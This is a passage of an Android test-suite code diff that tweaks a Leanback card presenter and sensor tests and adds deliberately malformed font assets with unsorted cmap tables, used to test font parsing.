+                findViewById(R.id.info_field).setBackgroundColor(
+                        selected ? sSelectedBackgroundColor : sDefaultBackgroundColor);
                 super.setSelected(selected);
             }
         };
 
         cardView.setFocusable(true);
         cardView.setFocusableInTouchMode(true);
-        updateCardBackgroundColor(cardView, false);
         return new ViewHolder(cardView);
     }
 
-    private static void updateCardBackgroundColor(ImageCardView view, boolean selected) {
-        int color = selected ? sSelectedBackgroundColor : sDefaultBackgroundColor;
-        // Both background colors should be set because the view's background is temporarily visible
-        // during animations.
-        view.setBackgroundColor(color);
-        view.findViewById(R.id.info_field).setBackgroundColor(color);
-    }
-
     @Override
     public void onBindViewHolder(Presenter.ViewHolder viewHolder, Object item) {
         Movie movie = (Movie) item;
@@ -73,10 +69,27 @@
         cardView.setTitleText(movie.getTitle());
         cardView.setContentText(movie.getStudio());
         cardView.setMainImageDimensions(CARD_WIDTH, CARD_HEIGHT);
+        cardView.setBackgroundColor(sDefaultBackgroundColor);
+
         Glide.with(viewHolder.view.getContext())
                 .load(R.drawable.gradation)
                 .centerCrop()
                 .error(mDefaultCardImage)
+                .listener(new RequestListener<Integer, GlideDrawable>() {
+                    @Override
+                    public boolean onException(Exception e, Integer i, Target<GlideDrawable> target,
+                            boolean b) {
+                        return false;
+                    }
+
+                    @Override
+                    public boolean onResourceReady(GlideDrawable glideDrawable, Integer i,
+                            Target<GlideDrawable> target, boolean b, boolean b1) {
+                        // Remove the background color to reduce overdraw.
+                        cardView.setBackground(null);
+                        return false;
+                    }
+                })
                 .into(cardView.getMainImageView());
     }
 
diff --git a/tests/leanbackjank/app/src/android/leanbackjank/app/ui/MainFragment.java b/tests/leanbackjank/app/src/android/leanbackjank/app/ui/MainFragment.java
index 399681c..ee04924 100644
--- a/tests/leanbackjank/app/src/android/leanbackjank/app/ui/MainFragment.java
+++ b/tests/leanbackjank/app/src/android/leanbackjank/app/ui/MainFragment.java
@@ -15,6 +15,7 @@
 package android.leanbackjank.app.ui;
 
 import android.content.Intent;
+import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.leanbackjank.app.IntentKeys;
 import android.leanbackjank.app.R;
@@ -32,6 +33,7 @@
 import android.support.v17.leanback.widget.ListRowPresenter;
 import android.support.v17.leanback.widget.Presenter;
 import android.support.v17.leanback.widget.PresenterSelector;
+import android.support.v17.leanback.widget.ShadowOverlayHelper;
 import android.util.DisplayMetrics;
 import android.view.View;
 
@@ -166,7 +168,17 @@
     }
 
     public void buildRowAdapterItems(HashMap<String, List<Movie>> data) {
-        mRowsAdapter = new ArrayObjectAdapter(new ListRowPresenter());
+        ListRowPresenter listRowPresenter = new ListRowPresenter() {
+            @Override
+            protected ShadowOverlayHelper.Options createShadowOverlayOptions() {
+                Resources res = getResources();
+                ShadowOverlayHelper.Options options = new ShadowOverlayHelper.Options();
+                options.dynamicShadowZ(res.getDimension(R.dimen.shadow_unfocused_z),
+                        res.getDimension(R.dimen.shadow_focused_z));
+                return options;
+            }
+        };
+        mRowsAdapter = new ArrayObjectAdapter(listRowPresenter);
         CardPresenter cardPresenter = new CardPresenter();
 
         int i = 0;
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index ef5fe8d..cf6039e 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -304,21 +304,21 @@
     public void testSensorTimeStamps() throws Exception {
         ArrayList<Throwable> errorsFound = new ArrayList<>();
         for (Sensor sensor : mSensorList) {
-            // test both continuous and batching mode sensors
-            verifyLongActivation(sensor, 0 /* maxReportLatencyUs */, errorsFound);
-            verifyLongActivation(sensor, (int) TimeUnit.SECONDS.toMicros(10), errorsFound);
+            if (sensor.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
+                // test both continuous and batching mode sensors
+                verifyLongActivation(sensor, 0 /* maxReportLatencyUs */, errorsFound);
+                verifyLongActivation(sensor, (int) TimeUnit.SECONDS.toMicros(10), errorsFound);
+            }
         }
         assertOnErrors(errorsFound);
     }
 
     // TODO: remove when parameterized tests are supported (see SensorBatchingTests.java)
     public void testBatchAndFlush() throws Exception {
-        // TODO - replace this constant once method to do so is made available
-        final int SENSOR_TYPE_DEVICE_PRIVATE_BASE = 0x10000;
         SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
         ArrayList<Throwable> errorsFound = new ArrayList<>();
         for (Sensor sensor : mSensorList) {
-            if (sensor.getType() < SENSOR_TYPE_DEVICE_PRIVATE_BASE) {
+            if (sensor.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
                 verifyRegisterListenerCallFlush(sensor, null /* handler */, errorsFound);
             }
         }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
index 5ef2d3c..8201861 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
@@ -376,7 +376,7 @@
             final long duration,
             final TimeUnit timeUnit) {
 
-        return createFlushOperation(environment, new int[] {(int)timeUnit.toMillis(duration)}, 0);
+        return createFlushOperation(environment, new int[] {(int)timeUnit.toMillis(duration)}, -1);
     }
 
     /**
diff --git a/tests/tests/graphics/assets/unsorted_cmap12.ttf b/tests/tests/graphics/assets/unsorted_cmap12.ttf
new file mode 100644
index 0000000..d9587df
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap12.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap12.ttx b/tests/tests/graphics/assets/unsorted_cmap12.ttx
new file mode 100644
index 0000000..6444903
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap12.ttx
@@ -0,0 +1,199 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="0" nGroups="0" platformID="3" platEncID="10" language="0">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap12.ttf -->
+      <hexdata>
+        00 0c  <!-- format: 12 -->
+        00 00  <!-- reserved -->
+        00 00 00 28  <!-- length: 40 bytes -->
+        00 00 00 00  <!-- langauge -->
+        00 00 00 02  <!-- num of groups -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        <!-- start of the first group -->
+        00 00 04 00  <!-- start code point -->
+        00 00 04 00  <!-- end code point -->
+        00 00 00 01  <!-- start glyph ID -->
+
+        <!-- start of the second group -->
+        00 00 01 00  <!-- start code point -->
+        00 00 01 00  <!-- end code point -->
+        00 00 00 01  <!-- start glyph ID -->
+      </hexdata>
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format12 Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format12 Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat12Font-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf
new file mode 100644
index 0000000..83801fc
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx
new file mode 100644
index 0000000..310a487
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx
@@ -0,0 +1,197 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_14 format="14" platformID="0" platEncID="5" length="0" numVarSelectorRecords="1">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap14_default_uvs.ttf -->
+      <hexdata>
+        00 0e  <!-- format: 14 -->
+        00 00 00 21  <!-- length: 33 bytes -->
+        00 00 00 01  <!-- number of variation selectors -->
+
+        <!-- 1st variation selector record -->
+        00 fe 00  <!-- variation selector -->
+        00 00 00 15  <!-- the offset to the default UVS table -->
+        00 00 00 00  <!-- the offset to the non default UVS table (no table) -->
+
+        <!-- start of default UVS table -->
+        00 00 00 02  <!-- number of range record -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        00 04 00  <!-- Unicode code point. -->
+        00  <!-- number of additional following code points -->
+        00 01 00  <!-- Unicode code point. -->
+        00  <!-- number of additional following code points -->
+      </hexdata>
+    </cmap_format_14>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat14DefaultUVSTableFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf
new file mode 100644
index 0000000..92aadc2
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx
new file mode 100644
index 0000000..0c0cb77
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx
@@ -0,0 +1,200 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_14 format="14" platformID="0" platEncID="5" length="0" numVarSelectorRecords="1">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap14_non_default_uvs.ttf -->
+      <hexdata>
+        00 0e <!-- format: 14 -->
+        00 00 00 23  <!-- length: 35 bytes -->
+        00 00 00 01  <!-- number of variation selectors -->
+
+        <!-- 1st variation selector record -->
+        00 fe 00  <!-- variation selector -->
+        00 00 00 00  <!-- the offset to the default UVS table (no table) -->
+        00 00 00 15  <!-- the offset to the non default UVS table -->
+
+        <!-- start of default UVS table -->
+        00 00 00 02  <!-- number of mapping record -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        00 04 00  <!-- Unicode code point. -->
+        00 01  <!-- glyph ID -->
+        00 01 00  <!-- Unicode code point. -->
+        00 01  <!-- glyph ID -->
+      </hexdata>
+    </cmap_format_14>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Non-Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Non-Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat14NonDefaultUVSTableFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap4.ttf b/tests/tests/graphics/assets/unsorted_cmap4.ttf
new file mode 100644
index 0000000..8ceeb4e
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap4.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap4.ttx b/tests/tests/graphics/assets/unsorted_cmap4.ttx
new file mode 100644
index 0000000..8b16955
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap4.ttx
@@ -0,0 +1,197 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
